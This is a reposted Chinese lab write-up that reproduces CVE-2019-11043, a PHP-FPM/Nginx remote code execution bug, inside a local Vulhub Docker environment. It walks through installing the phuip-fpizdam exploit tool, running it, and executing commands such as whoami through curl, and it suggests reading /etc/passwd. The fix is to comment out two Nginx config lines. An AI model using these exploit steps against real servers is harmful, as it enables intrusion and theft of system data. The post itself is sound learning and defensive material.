【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现

摘要:
.php)(/.*)$;4fastcgi_paramPATH_INFO$fastcgi_path_INFO;5fastcgi_passphp:9000;6…7}攻击者可以使用换行符(%0a)中断fastcgi_split_path_info指令中Regexp和Regexp的损坏导致path_info为空,从而触发漏洞范围:PHP 5.6-7.x(从http://blog.leanote.com/post/snowming/9da184ef24bd非常详细,谢谢!!!

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

该复现参考网络中的文章,该漏洞复现仅仅是为了学习交流,严禁非法使用!!!

一、介绍

CVE-2019-11043:远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码,向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常

  • 该漏洞需要在nginx.conf中进行特定配置才能触发,具体配置如下
1 location ~ [^/].php(/|$) {
2  ...
3  fastcgi_split_path_info ^(.+?.php)(/.*)$;
4  fastcgi_param PATH_INFO $fastcgi_path_info;
5  fastcgi_pass   php:9000;
6  ...
7 }
  • 攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp,Regexp被损坏导致PATH_INFO为空,从而触发该漏洞
  • 影响范围:PHP5.6-7.x

(介绍源于http://blog.leanote.com/post/snowming/9da184ef24bd十分详细,感谢!!!)

二、漏洞复现过程

1.环境准备

  • 使用之前在Kali中安装的Docker进行复现,安装过程请参考https://www.cnblogs.com/yankaohaitaiwei/p/11788333.htm
  • 在Kali中还需安装工具phuip-fpizdam(在Kali中安装该工具方便测试,这时攻击者和靶机都是同一个Kali,如果不想攻击者和靶机是同一个,在攻击者主机上安装该工具,并且攻击者必须与靶机连通)
    • 下载phuip-fpizdam
git clone https://github.com/neex/phuip-fpizdam

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第1张

    • 进入到下载好的phuip-fpizdam目录中,可以看到有很多.go文件,说明该工具需要go语言的环境支持

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第2张

    • 安装go环境
go  查看环境中是否有go环境,有的话会返回帮助信息
apt install golang-go  安装go
go version  查看go版本

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第3张

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第4张

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第5张

    • 安装phuip-fpizdam
go get -u github.com/neex/phuip-fpizdam

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第6张

2.启动Docker,进入Vulhub下的php目录下的CVE-2019-11043中,启动整个环境

/etc/init.d/docker start

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第7张

cd vulhub-master/cd php
cd CVE-2019-11043

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第8张

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第9张

docker-compose up -d

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第10张

3.查看端口

docker ps  列出所有在运行的容器信息

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第11张

4.根据回显,在宿主机的浏览器上访问使用Vulhub搭建好的所存有漏洞的站点

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第12张

5.回到Kali,启动工具phuip-fpizdam

1 cd go/bin
2 ./phuip-fpizdam

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第13张

6.检验漏洞是否存在

./phuip-fpizdam http://127.0.0.1:8080/index.php

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第14张

  • 根据回显可知漏洞存在,且漏洞的利用方式也给出了

7.漏洞利用,也可将whoami换成其他命令,如:ls、cat /etc/passwd等等,这里不做过多演示

  • 更换为ifconfig命令可能不会成功,可能是Docker环境不支持ifconfig
curl "http://127.0.0.1:8080/index.php?a=whoami"
  • 如果一次运行没有成功,多试几次即可

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第15张

三、修复

1.查看运行的Docker

docker ps

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第11张

2.进入容器内部,并在Nginx配置文件下查找fastcgi_split_path_info

1 docker exec -it b92dfa82075b /bin/bash
2 grep -Rin --color 'fastcgi_split_path_info' /etc/nginx/

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第17张

3.读取Nginx的配置文件,找到fastcgi_split_path_info(用作URL匹配)和fastcgi_param PATH_INFO,将其注释即可完成修复

1 cat /etc/nginx/conf.d/default.conf
2 3 curl "http://127.0.0.1:8080/index.php?=cat /etc/nginx/conf.d/default.conf"  利用漏洞

【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现第18张

免责声明:文章转载自《【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇基于ack k8s集群调度的方案设计C#操作JSON学习下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

个人亲历运维面试

Docker 1. docker通过哪些方式实现资源隔离的 Docker 主要通过六大 Namespace 来实现资源的隔离 Mount Namespace,挂载命名空间,用来隔离挂载目录,让不同 Namespace 拥有独立的挂载结构,而程序中对挂载信息的修改不会影响到其他 Namespace 中程序的运行。 UTS Namespace,UTS Nam...

docker笔记

suse环境采用二进制文件安装docker后,执行systemctl start docker提示docker.service不存在。 解决办法,/usr/lib/systemd/system目录下增加docker.service文件,内容如下: [Unit] Description=Docker Application Container Engine...

Traefik-v2.x快速入门

一、概述 traefik与nginx一样,是一款优秀的反向代理工具,或者叫Edge Router。至于使用它的原因则基于以下几点 无须重启即可更新配置 自动的服务发现与负载均衡 与docker的完美集成,基于container label的配置 漂亮的dashboard界面 metrics的支持,对prometheus和k8s的集成 接下来讲一下它的...

docker集群管理之swarm

一、简介        docker集群管理工具有swarm、k8s、mesos等,我所用到的是swarm和k8s,这篇文章主要介绍swarm;swarm是docker集成的原生        管理工具,只要你安装上docker之后,就可以直接使用docker swarm -h 来查看用法 二、组建集群        刚刚已经说过swarm是原生集成的,所...

Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。 Atlassian Jira Server和Jira Data Center存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的...

微服务监控之三:Prometheus + Grafana Spring Boot 应用可视化监控

一、Springboot增加Prometheus 1、Spring Boot 应用暴露监控指标,添加如下依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-a...